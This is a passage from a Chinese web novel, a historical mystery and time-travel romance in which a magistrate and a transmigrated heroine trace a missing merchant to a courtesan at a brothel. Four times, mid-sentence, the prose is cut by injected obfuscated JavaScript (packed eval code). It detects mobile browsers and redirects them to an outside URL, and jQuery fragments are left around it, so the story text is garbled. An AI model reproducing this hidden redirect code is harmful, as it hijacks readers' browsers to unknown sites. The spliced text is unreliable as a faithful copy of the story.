“吉祥客栈的店主说前几日有位叫金至斗的商人入住,一进门就吹嘘自己是受到长公主邀约的冶镜师,店主也查过文牒,果真是前往东都的。而且此人出手阔绰得很,他一个人就点了七八个大菜,住店钱也不要找零,因为排场很大,所以店主印象格外之深。”
这与他们之前的推断相差毫无二致,相视一眼后,李长川问道:“那他最后一次出现在客栈是什么时候?”
曲悬音点点头,“我当时也是这么问的。”
“最后一次?”老店主捋着胡子思索了片刻,“约莫是在三日前吧……”
说着老店主低头翻了翻账本,“喏!就是三日前,我记起来了,那天他怒气冲冲地出去,老身刚好就想起来住店钱的找零还没给他就把他喊住了嘛,但没想到这小子反而还扔给了我两块白银,你说说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076004|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在的年轻人,唉!”
做有钱人的生意就是爽快啊......不要零钱还给小费,啧啧啧!李长川忍不住咂舌感叹。
裴如晦古怪地看了眼还沉浸在羡慕中的李长川,随后问曲悬音:“三日前,那不就是二十二日,康绥看到凶案现场的那天?”
李长川闻言,说道:“大人是想说,金至斗怒气冲冲地出去,也许要找的人便是那个凶手?”
裴如晦颔首,继续问道:“那日后,金至斗便再也没出现过?”
曲悬音点头,说:“再没出现过。”
三人心中皆已有数,一路行去吉祥客栈。
曲悬音跑在二人前头一跃跳进了店内:“老人家,官府查案!”
“官府?”老店主见得令牌,立马赔着笑脸从柜台后走出来,认出曲悬音后,恍悟地说:
“大人们,贵人们,你们可是想找那个……金至斗啊?”
见众人没有否认,老店主“哎哟”一声就给众人鞠躬作揖:“大人们呐,老身这店做的可是小本生意,他要是犯了什么事那可都跟我没关系啊!”
“老伯伯快起来。”李长川忙上前一步扶起他。
裴如晦蹙眉,敏锐地听到了老店主话中的端倪,“你怎么知道金至斗犯事了?”
老店主听闻,哭丧着脸抬起头来问道:“不,不是吗?”
“刚刚那位公子走之后老身就去金至斗住的客房看过,他的行囊包裹都还在,这连着几日不出现,可不就是犯事儿了吗!”
老店主左右看看,用手挡着神秘兮兮地凑近他们说:“贵人们啊,你们是不知道,金至斗在我这客栈住了五日,日日睡到日上三竿,到了夜里呢,又春光满面地出去了,夜里是我女儿看店,据她说啊,这金至斗回来的时候……”
老店主说着说着涨红了脸,压低了声音说:“他回来的时候,这...满脸满脖子都是唇脂印啊!”
“啊!”李长川挡住嘴巴惊呼,“逛窑子啊!”
她这一番惊天动地的言论出口,饶是裴如晦也替她害臊地扭开了脸,老店主急得要捂她的嘴:“小姑娘家家的,怎么好讲这种话!”
男人做得出,还怕女人讲吗!李长川不以为意地拂开老店主的手,再说古代对逛窑子去青楼这种事还不明令禁止,要是像现代人一样把扫黄打非摆在台面上讲,哪还有这么多的事端来。
“金至斗每天夜里都要逛窑子,三日前突然怒气冲冲地出去,是欠了什么风流债吗?还是逛窑子的时候为了花魁和别人起了冲突?”
听着李长川一口一个“逛窑子”“风流债”,老店主哭笑不得地说:“这老身就不知道了,大人们还是去问问别人罢!”
老店主给他们带了路,金至斗的房间在天字一号,推门进去便可看到里边邋里邋遢的景象。
裴如晦蹲下身子,随手拿起一件金至斗扔在地上的衣服翻看,李长川则绕着整个屋子转了一圈细细查看后,朝裴如晦摇摇头,“没有发现什么有用的线索,屋内也没有打斗痕迹,他只是单纯的生活习惯脏乱差。”
裴如晦起身,在手上掂掂那件捻金银丝线的鹤氅,一双清冷的眸子扫视着整个房间,随后把鹤氅递给李长川,说:“你有没有发现,这金至斗自己的衣服,无论是里衣还是外衣,都华贵异常。”
李长川轻轻摩挲着那鹤氅的衣角,嘴唇微翕,呼吸逐渐变得深沉而急促。
那具尸体身上穿着的外袍,是麻衣。
“有人在金至斗死之前就给他换了衣服!”
8. 青楼
为了证实她的猜测,李长川飞快地跑到客房外的走廊上,拦住了准备离开的老店主。
“衣服?这老身倒得好好想一想了……”老店主“嘶”了一声,眉头紧锁陷入了沉思。
李长川按捺住焦急的心情,“不用说得太细致,您只用回忆一下,金至斗那天穿的衣服看着贵不贵?”
“贵!那肯定贵!”老店主捬掌叹道。
“他穿的衣服哪有不贵的啊?哎呦天天就跟个珠宝箱似的,一身的绫罗绸缎,恨不得十个指头戴九个金戒指!”
李长川面色凝重地回到客房时,裴如晦背对着她蹲在一个箱子前不知在翻动些什么,她走上前去,说:
“金至斗的衣服被换了,就连那天戴的饰品也不知所踪,难道……”
难道是她的推测出问题了?凶手真的只是贪图金至斗的那九个金戒指?可这客房中的那么多财物都还在,如果不是想要钱,那凶手又为什么要换掉金至斗的衣服……
眼看裴如晦还是没有回头,李长川急得走到他跟前:“大人您说句话呀,您这是在看什……镜子?!”
裴如晦终于回过身,他手中那面雕花漆印铜镜一看就制作精良,清晰程度都能与现代的镜子相媲美。
“怪不得东都的人都争着买镜子,这镜子照得人好看,心情自然也就好了。”裴如晦对着铜镜理理冠发,也不知是在欣赏镜子还是欣赏镜子里的自己。
这是他臭美的时候吗!李长川刚想发火,裴如晦便撇下那镜子,看了眼窗外:“走吧,天色不早了。”
“走?去哪?”李长川一时摸不着头脑。
“早把悬音支去调查城内的青楼了,这会应该有结果了。”
李长川这时才发现,裴如晦的怀中不知何时多了一只木鸢。这木鸢雕得小巧玲珑,远看时就与天上的飞鸟一般无二,实则内部关窍大有玄机,至于具体是什么玄机……
她看不出来。
裴如晦在鸟肚子上捣鼓了几下,它便被轻易地开膛破肚,打开后,一张纸条静静地躺在中空的鸟腹中。
“哦——”心下了然,李长川说:“防君子不防小人。”
“错。”裴如晦抬眸,意有所指地扫她一眼,“防君子,也防小人。”
李长川:“……”
她接过纸条粗略看了一遍,前面基本上都是曲悬音的废话,只有最后一句是关键:
“他处青楼皆未见金至斗,惟款月楼之老鸨曰不与官府往来也。”
虽说天高皇帝远,但浔山镇也和大宸境内的所有城池一样实行宵禁的规制,但百姓明面上不说,其实心里都知道宵禁只是针对那些被纳入户簿的正经市集和商埠,而烟花柳巷之地,官府向来都是睁只眼闭只眼。
“官府迁就纵容,也不代表她们可以和官府对着干啊,这款月楼也太大胆了!这般遮遮掩掩,说不定就有问题!”
柳巷离着也就两条街的距离,骑马坐车也太过张扬,两人便步行赶去与曲悬音汇合。
一座石桥横跨在河上,左岸已经结束了一天的劳作,乌灯黑火悄然陷入沉睡,对岸却华灯初上,远远地传来悠然的丝竹之音,和桥下的流水声缠绕在一起,说不清的暧昧朦胧。
一座小桥,如此便分隔了风尘与红尘。
李长川忿忿的,刚刚换过男装,用发带随意束起的发髻此刻一蹦一跳,裴如晦微微蹙眉看着她这身装束:
“款月楼所说的官府,未必与你所想的是同一个。”
李长川不明所以,转过头疑惑地看着他。
“倒是你,”裴如晦上下打量了她一遍,略带了几分戏谑地笑道:“你这扮相也太容易露馅了点吧?”
“有吗?”李长川低头看看,她不仅束了胸,往脸上抹了黑粉,还把小碎发全都用清水梳到了脑后,留下一个光溜的额头,她感觉自己比电视剧里那些女扮男装还涂唇釉留刘海的女演员敬业不少。
“对了,”突然想起在康绥家中看到的景象还未告诉裴如晦,李长川忙道:“我和那些夫人们也打听到了,康绥确实不招他大哥待见,往日里街里街坊都能听到他们吵架,甚至还有传闻说——”
她凑近了些,神秘兮兮地说道:“说康绥和康禾祺其实并非一母同胞,康绥实则是老家主的私生子。”
低头就能看见李长川一脸八卦的表情,裴如晦无情地推开她的脸,好笑地说道:“你是想说,康禾祺因为讨厌自己的庶出弟弟,专门杀了个人就是为了吓疯他?”
“当然不是!”她不知道裴如晦怎么会这么想,简直脑洞比她还大,“我只是单纯好奇而已,和你分享一下嘛。”
“和本案无关的人和事,以后少提。”裴如晦连个眼神都懒得给她。
李长川撇撇嘴:“哦。”
说话间,两人已经到了款月楼敞开的雕花大门下。
裴如晦突然一掌拍在她的背上,“背别挺那么直,像个没见过世面的。”说完就摇摇摆摆晃进了楼中。
李长川吐吐舌头,她确实没见过这种世面啊……
“哟,又来客了!”两人一前一后方踏入楼中,还没来得及找曲悬音,刚还斜倚在屏风上的老鸨就眼睛一亮,扑将过来:“红袖、彩云,快来见客!”
看向李长川时,老鸨的目光明显有一瞬的迟疑,但很快又换上了笑脸:“两位贵客是头一回来罢,可有中意的花名要点?不如——”
她往前搡了搡身边的美人,那美人随即绽出勾魂摄魄的笑颜,“我让红袖伺候您?”
裴如晦眯了眯眼睛,装作醉醺醺地抬手揽过那唤作红袖的美人,“这个姑娘也漂亮,李兄,你看上哪个了,随便挑!今天……我请客!”
考验演技的时候到了。
李长川心下暗笑,晃悠着挤过裴如晦,朝老鸨勾勾手指:“鸨母,这些胭脂俗粉我通通看不上。”
“哦?”老鸨被勾起了好奇心。
“我兄弟说他在这儿有个相好的,那身姿叫一个曼妙,那歌唱的叫一个好听,我今天就要她了!”
“这……”老鸨脸上露出为难之色,“您这么说,我们也不知道是哪位姑娘啊,毕竟咱们款月楼的姑娘们呐,各个都像您说的那样身段丰满、能歌善舞!”
趁着李长川跟老鸨比划金至斗模样的时候,裴如晦仔细打量了一下款月楼的内部景象。
在这款月楼楼内,各处门首皆缚彩绦飘缎,珠帘帷幌层层叠叠,飞桥、廊腰缦回,朱红色的立柱将整座楼四面相围成塔状,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076005|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两廊深约百余步,每隔十余步便有一个雅间,若是整座楼算来至少也有上百间房,无论放在哪都是极尽奢华。
他本还疑惑这楼内点的什么灯,将内饰照得亮如白昼。抬头看去,约莫七八层楼高的屋顶凿了个天井,一抹弯月恰好升至头顶,月光澄明自银河倾泻而下,辅以每层千盏日夜常燃不灭的莲花琉璃灯高悬,上下相映,所以才能使夜明如昼,灯烛萤煌。
“不见。”
李长川这边也从账簿里问到了金至斗的相好,婢女神色匆匆地来回话。
“玲珑姐姐说今日心情不佳,不见客就是不见客。”
面上闪过一丝尴尬,老鸨讨好地朝他们笑道:“玉玲珑是我们款月楼的花魁,平日里旁人一掷千金也难得见上一面,二位就算是有贵客旧日的情分在,这……”说完,她干笑了几声,一只手掂了掂钱袋。
“钱的事好说!”李长川回身一把扯下裴如晦腰间的钱袋,也不打开看看直接就扔给了老鸨。
她重拍两下裴如晦的肩膀:“这位公子家境殷实,莫说千金,你们将他哄高兴了,万金都算少的!”
“欸好好好!”老鸨笑得乐不可支,暗暗用胳膊肘轻怼了下婢女,低声说:“快去叫玲珑准备,今天这两位爷怎么也得给我伺候好!”
裴如晦眼睁睁看着自己的钱袋被夺走,老鸨手上的另一只钱袋也是越看越眼熟,抓过李长川问道:“前面那只钱袋是谁的?”
“您的呀!”她认真答道。
“你!”裴如晦咬紧牙关,“你哪来的?”
“出门前就从您桌上拿的,逛青楼没点钱怎么撑场子争面子?”说完她还仰头喝了口旁边美人喂来的酒。
裴如晦生平第一次真正体会到吃瘪的感觉。
“两位贵客!”老鸨噌噌噌地下楼来了,“三楼天字二号房,请吧,请!”
裴如晦这才不予她理睬,别过头去顾自上了楼。
望着两人上楼的背影,后面的那位公子即便竭力表露出放浪不羁的姿态,但他身材纤细仿若颀竹,同那些膀大腰圆的男人比起来高下立见,肤色倒并不白皙,可那一双圆圆的杏仁眼却很是讨喜,在卷翘的睫毛下微微一转,就像是只湿漉漉的小鹿般惹人怜爱。
方才一直在旁的红袖悄悄地搭上了老鸨的肩,细声软语道:“妈妈,这个略矮一些的公子,很明显就是个女人啊,你怎么还放她进去呢?”
“啧!”老鸨“啪”的一声打掉红袖的手,“你这小蹄子懂什么!这一般都是有钱人家的千金小姐对咱们这好奇,愿意乔装打扮来这见见世面,只要钱到位,你就别多嘴!”
“哦……”红袖似懂非懂地点点头,“那她旁边那个男人呢?”
“这还用说?一看就是她们府里的护卫!”
踏进玉玲珑的雅间前,李长川已经做好了充分的准备。
所以在敲开门后,她几乎与裴如晦同时闪身躲开了迎面飞来的不明物体。
“何人擅闯我闲月阁?”
李长川的呼吸凝滞了一瞬。
飞出的点翠步摇正刺在他二人身后的栏杆上,坠下的珍珠还在微微晃动,而那出手的主人——
她缓缓转过头。
美得不可方物。
9. 情书
李长川过去二十几年的人生里见过很多好看的女生,有高傲冷艳也有素衣淡容,有清丽脱俗也有甜美可爱。
但都不像今日这位一样,可以用“惊为天人”来形容。
她红衣似火,衣襟半敞,露出胸前雪白如玉脂般的肌肤,另一手玩弄着一缕发丝,斜倚在摆着台古琴的案几上。
掷出步摇的手缓缓放下,宽大的衣袖遮挡后面,露出一张近乎妖艳的脸。
美人一挑秋娘眉,因为闺房被突然闯入而不耐微蹙,眉下的狐狸眼眼尾上勾扫上鬓去,眼下还漾着小憩醒来特有的微红,妖媚的眼神随意一扫,任谁看了都会为之动心。
今日打定主意不见客,玉玲珑连胭脂也未涂,光是她本身的赤朱唇色就艳得要滴出水来,只见她俏唇轻启:
“谁准你们进来的!”
入夜后的客人陆续变多,楼下几位面色潮红的醉酒客似乎是为着见不到花魁起了争执,正吵得面红耳赤,眼睁睁看着裴如晦和李长川碰了一鼻子灰,料到他们不久定会被赶出房去,便也悻悻地不再说话。
乐伎们未受影响,轻拢慢捻,丝竹声连绵不绝,舞姬也身着轻纱在宾客间流连传情,席间情意绵绵,雅间内娇声细语。也有不少恩客出门来看歌舞乐伎,被相好的吃味给拉回去的,一派花红柳绿的景象。
“砰!”
剧烈的撞击声从三楼传来。
乐音骤停。
众人惊骇望去的瞬间,木门恰好碎成四分五裂倒下。
门内猛然摔出一个红衣女子,而对面一手掐着她脖子的男人,正是刚刚还吊儿郎当的裴如晦。
……
“欸你们看,那不是花魁吗!”
“传闻中的花魁如今都这么狼狈了?”
“哼!素日装得清高,实则看不上平头百姓罢了!要是遇到个达官显贵的谁还知道……”
隔着楼板都能清晰听见一开始的议论声逐渐被狞笑掩盖,嫌脏了耳朵不再听,李长川拍着胸脯回想起刚才的惊险——
先是她发现玉玲珑房中与金至斗那面一模一样的铜镜,再是裴如晦激了玉玲珑几句,她便原形毕露,暴露出金至斗失踪当天与其相见的事实。
再然后……等她反应过来时,已经被玉玲珑用刀圈在怀里,遭遇了她穿越两天内!第二次!!死亡威胁!!!
李长川咬牙切齿,抬头往门外看去。
男人高大的背影挡在她与玉玲珑中间,遮住了大半视线,只能看见玉玲珑重重地撞在栏杆上,疼得开不了口,全然没了之前的妖异妩媚。
李长川在背后看得肝颤,如果初见时她没有说服裴如晦,裴如晦没有手下留情,她也和玉玲珑一样来这么一遭……
不断骨头也得脱层皮。
“哎呀!你这人要做什么!”楼下的老鸨急得拊掌大喊,恨不能飞身上来阻止他。
“还想跑?就这么急着杀人灭口啊,莫不是姑娘身上藏着什么秘密吧?”裴如晦柔声道。
而让玉玲珑冒着生命危险也要守住的秘密……
她看向仍在紧咬牙关的玉玲珑。
只能是另一条命了。
裴如晦手下力度渐渐越紧,就在李长川想提醒他别真的把人掐晕过去了的瞬间——
“请湜一兄高抬贵手!”门外蓦然走进一个气宇轩昂的男人大踏步急呼道:
“湜一兄,手下留情啊!”
看见来人,裴如晦下意识手下一松。
“张兄?”
雅间外,一群人低眉顺目地在门口排排站,四下皆静。
还是李长川拍拍身边还在状况外的曲悬音,长叹一口气,“之前看你武功挺好的,怎么,又被个姑娘放倒了?”
没get到这个“又”的深意,曲悬音憋屈地说:“我怎么知道嘛!她们硬是不让我找人,反叫我坐着喝了好几杯酒,我醒来就被带到你面前了……”
话音未落,门开了。裴如晦和那名男子并肩走出来,众人的目光自然都落在他们身上。
那老鸨大剌剌迎上去,愤恨道:“张县尉,既然这个侍卫是您手下的人,那我便直说了,他今日敢在我款月楼造次,您得撤他的职!要不然这外边不得说您御下不严呐!”
“放肆!”
张县尉厉色道:“什么侍卫,这是裴县令!”
此话一出,众人都目瞪口呆。
裴如晦朝他点点头,说道:“虽如此,玉玲珑涉嫌重案,加以袭击官差,还是得跟我们走一趟以待审讯。”
玉玲珑刚想辩驳,裴如晦斜睨她道:“若她真的无罪,两日后自能获释。”
出了门被凛冽的寒风一吹,人总算觉得清醒不少,见李长川心有余悸地捂着脖子,裴如晦随意问道:
“遇到危险都不知道躲着点,你难道不会武功吗?”
她会不会武功,来不来得及躲开,裴如晦不该最清楚吗?!这个时候了还在试探她!
李长川本来就憋了一肚子火,听了这话更是一言不发地闷头往前走,谁料不出几步便被喊住:
“等等!”
看着裴如晦走到面前,她心中升起一股疑惑。
今天案也查了,嫌疑人也抓了…
这货又要干嘛?
“我是想说,等这个案子完了,你的武功我可以……”
他一噎:“让唐弃教你。”
这个笑面虎能有这么好心?
虽然心中还是狐疑,但真要说不开心那是假的。毕竟自己还不知道要在这个世界待多久,有个武功傍身,以后再碰上事也不至于像今天一样无措。
李长川感激地笑了笑,忽然回过神来,将怀中的物什递给裴如晦:“在玉玲珑身上找到的,我想大概会有用。”
她欲言又止,在裴如晦的眼神鼓励下还是说道:“关于案子,我心中其实有个猜测,等到两日后便可验证。”
美丽的脸蛋总能收获更多缠头财帛,这一点玉玲珑从来都知道。
自她进款月楼开始,她的容貌被当作商品挂售,似乎已经成了楼内心照不宣的秘密。
玉玲珑很少接客,而少数的几次都经由她点头,也只是酬一笑、卖一曲,便可得千金慵觑。
“物以稀为贵,囤积居奇,就算是青楼也懂得商贾之道。”
玉玲珑铐着镣铐的手被磨出浅浅的血痕,唇边牵起一抹虚弱的笑,和她妩媚的颜容格格不入。
她抬头环视四周,只是笑道:“坏了,太爷不带奴家回县衙,却来了私宅,这是连辩驳的机会都不愿给奴家,想直接动用私刑了?”
裴如晦一言不发。
从他的私宅到李家大约十里。他在计算审完玉玲珑的时间,还能赶在李长川入睡前问清她口中匆匆忙忙的那个猜测。
身下的木椅不耐地吱呀一声,“款月楼用你赚取暴利,这又和你在其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076006|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
失踪前见过金至斗有什么联系?”
“毫无关系。”玉玲珑说道。
被镣铐牵连的双手将碎发一缕一缕拨到耳后,“那个金至斗与其他挤破头只为买我一晚的臭男人并无不同,同样的有钱和花言巧语。有这些源源不断的钱袋子,我不缺钱财,更不图什么正经名分。我与他的每一次见面,也都是正常的皮肉交易。”
“所以,我根本没有理由杀他。”玉玲珑摊手笑道。
“我从未说过他死了。”
笑意凝结的瞬间,玉玲珑猛地抬起低垂的头,眼中闪过一丝难以捕捉的愤怒。
裴如晦站起身,轻松道:“还有啊玲珑姑娘,编故事前,你也该先藏好情诗吧。”
纸片从上空轻飘飘地落在膝前,她不可置信地拾起一看,连身边人的话都恍若未闻。
“‘莫道恩情如流水,此心长系在卿庐。顾、上、观,谨启’,不愧是顾县丞之子,这诗写的可真是情深义重。”裴如晦抖开纸片,“诗末的附信呢,顾上观还与你——相约私奔。”
裴如晦饶有兴致地“欸”了一声:“你说巧不巧,恰好你们的私奔之日就是金至斗失踪之日,又恰好你没有和顾上观离开,反倒在和即将失踪的金至斗相会?”
这纸条……玉玲珑指尖颤抖,究竟是何时到了他的手上?
“是你身边的那个女人偷的!”
裴如晦哼笑一声,“早说过她扮男装假得很。”随即转身边走边喊来曲悬音:“剩下的就交给你了!”
“老规矩,务必比上次的纪录提前半个时辰,别让我失望!”
伤毕竟没痊愈,李长川早料到偷溜出门会让她爹娘震怒,所以在听到李徽的那声“跪下!”后直接膝盖一软冷不丁跪了下去,反叫他们愣住了。
自家一手惯着带大的女儿娇气蛮横了十几年,照理这会就该扭成麻花过来撒娇求原谅了,怎么……今天突然转性了?
齐英心疼又嗔怪地扶起她,“就知道你闲不住!是不是又去找沈济了?”一边挽着她的胳膊坐下,“你就是为了帮他采药才摔伤的,真就一刻也离不开他么,出去连爹娘也不告诉一声?”
沈济又是哪冒出来的npc?
偏过头看见翠羽挤眉弄眼才反应过来,这是昨晚划过重点的人物。沈济——字安常,和她一道师承“圣手”杜老先生,是原主从小就倾慕、长大后更是死缠烂打的“竹马”。
李徽稍缓脸色道,“我和你娘也想过了,安常是个好孩子。既然你们两情相悦,就由我俩去请杜先生做媒,明日就定下你们的亲事。你也别整日心心念念地跑出去找他了啊?”
犹如一道惊雷当头劈下,齐英后来说的话李长川已经全当作遛鸟般从两耳遛了出去,只剩“成亲”“亲事”嗡嗡地在脑中喧哗。
“这孩子怎么了?”齐英看着呆若木鸡的李长川被生拉硬拽地带回房,不解地问,“从前见到安常就跟个小尾巴似的黏在后头,今日看着不大高兴啊?”
李徽“嗐”一声:“许是高兴坏了。”
“从前过多了颠沛流离的日子,如今便想把所有最好的都给长川,只盼着她不要再如同我们一般……”
话止于此,李徽微微一滞,与齐英了然地都带上一丝若有若无的苦笑,双手紧紧交握在一起。
贴在墙根的裴如晦冷眼看完了全程,静默地站了会,少顷原封不动地从墙头翻了回去,隐没在夜色中。
10. 竹马
曲悬音不负厚望,只花了一炷香时间便让玉玲珑吐了个一干二净。
只是他一泡尿也憋了一炷香!
上次把人放跑后裴湜一那能把他捅成筛子的眼神还历历在目,所以这次他留了个心眼,把玉玲珑捆了个结实才敢出门找草丛释放天性。
可就是他这一离开,今夜发生了翻天覆地的变化。
夜凉如水。
昏沉的月光照不进漆黑的眸子,在这个荒无人烟的夜晚,一个囚犯便显得异常平静。
肆虐的夜风呼呼作响,烛焰扭曲地摇曳着。她像在等待着什么,甚至可以说是隐隐期待。
玉玲珑的嘴角压抑着一抹笑。
疯狂,又妖媚。
终于。
屋外突然有窸窸窣窣的响动,时断时续,像在试探房内人的警觉程度。随之而来的一团攀在窗上的黑影缓慢移动,最终停在了门口。
玉玲珑僵硬地抬起头,今夜从未亮起过的瞳孔里此刻闪着刀剑的寒芒,映出一个谁也没能料到的影子。
“湜一兄的棋艺还是那么好。”对着胜负已明的棋局,张无痕摇摇头,将未落下的一枚黑子扔回棋盒,起身给已经喝得焦干的茶壶里添了热水。
裴如晦笑着抿了口茶,不置可否。
张无痕见他当真不问,踌躇之下还是说道:“湜一,款月楼之事并非我刻意隐瞒,只是……”
“张兄,”裴如晦打断他,“不用你说我也知道,在这儿能越过你办事的,唯他一人耳。”
张无痕是个好性子的,本已宽衣解带准备睡下,却又被深夜造访的裴如晦拉着手谈了几局。此刻公事又被搬上了棋桌,张无痕忽觉自己虚长了他十岁,初识时也未曾想到当年的小少年现在变得如此难缠。
他上手去帮忙收拾残局,“现在整个浔山都唯他马首是瞻,连商会都在他顾家的掌控之下,我只能听他顾万缗的。”
见裴如晦又不说话,张无痕轻叹道:“我知你心里一直放不下八年前那件事,可我既为你父亲故交,合该开解你几句。”
“你羽翼未丰,有些事办不到也是正常。莫要把自己逼得太紧了。”
裴如晦蓦地停下动作的手,“张兄误会了。现在不是我要针对顾家,而是这个案子的所有线索都指向他的好儿子,顾上观!”
他理净棋盘上的最后一颗棋子,看着他的眼睛道:“况且——若是张兄对我这几年的行事有所留意,也不会说出羽翼未丰四字。”
听到他最后的话,张无痕心中一惊,刚要继续追问时却被突然闯入的曲悬音打断。
“出事了!”
“玉玲珑死了!”
“成亲……成亲……”
李长川托着腮,指节轻轻叩着桌子。
托齐英和李徽要来找她师父商议亲事的福,她终于被赦免出门来了回春堂。
当然也成功见到了传闻中“剑南三大才子”之一,在原主心里完美得天上有地下无——自降身段也要苦苦追求的沈济。
似乎是感受到了李长川灼热的目光,本在专注给人看病的沈济抬起了头,看向了她蹲着的角落。
温柔如沈济,他轻轻放下笔,冲焦急等待着的人群笑着安抚了几句话便走向她。
李长川下意识后退,沈济却也站在恰好够听到双方说话的距离,歉疚地笑道:“长川,我听伯父伯母说你伤得不轻……怪我,若不是我非要用五灵脂,你也不会提出帮我寻药材,更不会……受伤。”
她忽然能理解原主为什么对沈济这么死心塌地了。
如果说裴如晦属于张扬桀骜的浓颜系长相,那沈济就是清纯无害的少年感男大,清秀温顺的脸蛋微微一笑,温润得如沐春风。
明明不喜欢医术,还天天做沈济的小尾巴,跟着人家拜师学医,这原主妥妥的颜控啊!
李长川颇有兴味地探究着沈济。原主对他一往情深,她单纯想八卦……妾有意,郎有没有情呢?
似是有人眼尖认出了她,人群中突然哄闹起来:
“沈医士这般优秀,想要什么样的良配没有,怎么和这种不学无术的千金小姐混在一块?”
“天天黏在沈医士屁股后头,也不看看自己配不配!”
“等我家闺女从顾家做工回来了,我便让媒人找沈医士说媒去!”
难怪昨夜翠羽明里暗里地劝她别来医馆,来了医馆也别和闲杂人等一般见识。现在她算是明白了,换作以前的李长川碰到这种情况,是要大开杀戒的呀!
她无意争辩,却起了玩心,勾勾手道,“大娘!对,就是您!说我不学无术那位,劳烦您过来下!”
大娘警惕地挪动过来,被她一把抓住手腕——
“啊!!!李长川你这死丫头想干什么!”
她默默地将手搭在对方的脉上,少顷皱着眉“嘶”了一声,看向明显变得紧张但又不得不装作不在意的大娘,叹了口气。
“你叹气是想唬谁呢!别以为我不知道,你连本医书都没看完!”
李长川语重心长道:“大娘,您最近是不是失眠盗汗、食欲不振,严重时还会嗳气反酸,感到口苦口干啊?”
“……是又怎样?”
她又重重叹了口气。
大娘的心悬得高高的。
“您这肝火旺得都快烧焦了,脾气太不好太易怒,您少生点气比看什么大夫都强!
大娘回驳道,“我脾气哪不好了?!”
“你看你看,这不又急了?”
沈济笑着让她别闹,接过病人的手仔细探过脉,脸色却是一怔。
这脉象……竟然真的和他这小师妹说得一模一样?
他强压住疑惑,轻声道:“崔大娘,长川说得不错,我给您抓几服药调理即可。”
这下人群的议论声更大了,众人纷纷好奇这以“败絮其中”扬名的娇蛮千金,能将八旬老翁诊成怀胎三月,今日是怎么个“说得不错”?连沈医士都要细细探过方敢得出结论,而她只用须臾?有说她瞎猫碰上死耗子的,有说她和崔大娘合谋演戏的,更有甚者说她是被夺了舍,一个比一个离谱。
从前的李长川面对欺侮只会耍大小姐脾气,也让轻贱者变本加厉。然而只有她知道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15084279|163377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原主心底里是个极为柔软的人,不仅从不倚势凌人,还常常施舍乞儿,坏就坏在长了颗恋爱脑,变成了个一心只知道追男人的傻子。
不过既然她重活一次,也该替原主讨回个公道!
李长川直起身来望向众人,严声道:“我从前确实倾慕沈医士,也自知资质平庸难成大器,但配不配得上自己心仪之人,还由不得他人来评说!”
还不及反应她口中“从前倾慕”是何意,只是与往日撒泼放刁也要别人承认“李长川和沈济天生一对”的样子对比,某些人更在心中暗暗肯定了“李家小姐被夺舍了”这个猜想。
也不知是谁先反应过来,高声喊道:“既然你这么厉害,那就多诊几个人呗!也让大伙瞧瞧你到底是真会医术还是假会医术!”
“抱歉了各位!她没空!”
众人循声望去,只见一位脸蛋圆润长相讨喜的公子走进来,向李长川做出“请”的姿势,“我家主人久闻李神医妙手回春,有死骨更肉之能,特派我来请李神医到府上一叙,治疗主人多年顽疾。”
跟着曲悬音踏上马车时,李长川略带兴奋地问:“裴如晦真这么夸我了?”
“啊?哦哦。”曲悬音有一瞬的愣神,“是啊!湜一猜到你在回春堂肯定会被人刁难,怎么也得让我来给你撑撑场子!”
他当然不会说裴如晦是因为她没有在辰时三刻准时出现怕她跑了才让他来把人提溜回去。
马车方起动,却突然急急刹住,车夫回头道:“前面有人拦车,说要求见李神医。”
见她?
一位面色苍白的女孩蜷缩在轮毂前,见到李长川掀开帘眼睛便亮了起来,跪地哽咽道:“神医,求您救救我阿姐!”
“长川姑娘!”曲悬音向她摇摇头,没有给她犹豫的时间,一把将她拉回了座。
“李神医!”女孩跪着挪近几步,“别人不信李神医,可我信!您有死骨更肉之能,也一定能治我阿姐的伤!”
